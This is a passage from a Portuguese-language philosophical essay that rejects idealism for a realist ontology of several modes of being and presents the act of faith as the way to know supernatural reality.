Os atos de fé perfeita, pelo contrário, têm objetos que se encontram
absolutamente o essencialmente fora do âmbito do pensar claro e distinto, ou
seja, objetos que segundo o postulado idealista não existem, não são.

Este
postulado do idealismo filosófico nos dá a chave de por que haja podido dar
forma, durante algum tempo, aos esforços da filosofia moderna, não é em si
mesma uma posição sólida e permanente. O ser — a realidade — refere-se evidentemente
a nós com amplidões tais que ultrapassam de muito as fronteiras do pensamento
claro e distinto. O idealismo filosófico é hoje em dia, no mundo, um postulado
caduco e superado. A ontologia ou teoria do ser não se esgota, nem muito menos,
em pura lógica ou teoria do conhecimento. Nem o ser pode reduzir-se a um só
modo de ser, ao modo inteligível de ser. Longe disso, o ser designa uma vasta
variedade de modos, que são irredutíveis uns aos outros, e cuja descrição corre
a cargo da ontologia. Para nos limitarmos a um exemplo — que toca de soslaio
em nosso tema — podemos distinguir facilmente entre o ser ideal, o sei físico,
o ser vivente, o ser histórico e o ser sobrenatural. E cada um desses modos de
ser mantém com o pensamento uma relação completamente diferente. O ser ideal
que é o ser próprio dos objetos matemáticos, das relações e das essências, se
oferece ao pensamento total e integralmente; é o ser que se acha absolutamente
presente e resulta por isso cognoscível com plenitude de evidência racional. O
ser físico oferece já à contemplação racional um resíduo refratário à plena evidência;
há no ser físico, na matéria, um fundo último de contingência que pode
reduzir-se pouco a pouco a pensamento claro, mas que nunca desaparece
totalmente. O ser vivente entra, como o físico no âmbito do pensamento
evidente; mas também deixa um resíduo que transcende da evidência racional e
alude já a desígnios da Providência inescrutável. O ser histórico deixa-se
conhecer em parte, na parte que tem de fato físico, material. Mas sua
interpretação científica já levanta problemas que apontam por alto e além das
faculdades intelectuais do homem. Por último esta gradação de realidades, que
desde a ideal, passando pela física, a vivente e a histórica, vão cada vez mais
excedendo e ultrapassando a área da inteligência humana, culmina na realidade
sobrenatural, a qual já está toda ela totalmente fora da capacidade mental do
homem. Mas que esteja fora do pensamento evidente não quer dizer que não seja,
que não exista. Quer dizer tão-somente que não pode ser conhecida
"naturalmente" pelo homem; quer dizer que não é acessível aos órgãos
com que racionalmente conhece o homem as outras realidades. Porém Deus quis
dá-la a conhecer ao homem por outros meios: a revelação. Foi este um dom
gratuito de Deus ao homem. E mercê deste dom, o homem dispõe de um conhecimento
daquilo que, naturalmente, não poderia conhecer, e tem para conhecê-lo um
órgão, que é propriamente 0 ato de fé. Rigorosamente falando, pois, pode
dizer-se que o ato de fé é um método adequado ao conhecimento da realidade
sobrenatural, como a intuição intelectual é o método adequado ao conhecimento
da realidade ideal; a experimentação, o adequado ao conhecimento da realidade
física; a teologia, o adequado à realidade vivente c a biografia o adequado à
realidade histórica. Assim o ato de fé, Pode integrar-se, como peça de função e
sentido próprios, na nova lógica do conhecimento, que o pensamento atual há de
construir necessariamente sobre a nova ontologia realista, que substitui ao  postulado,
já obsoleto, do idealismo filosófico.

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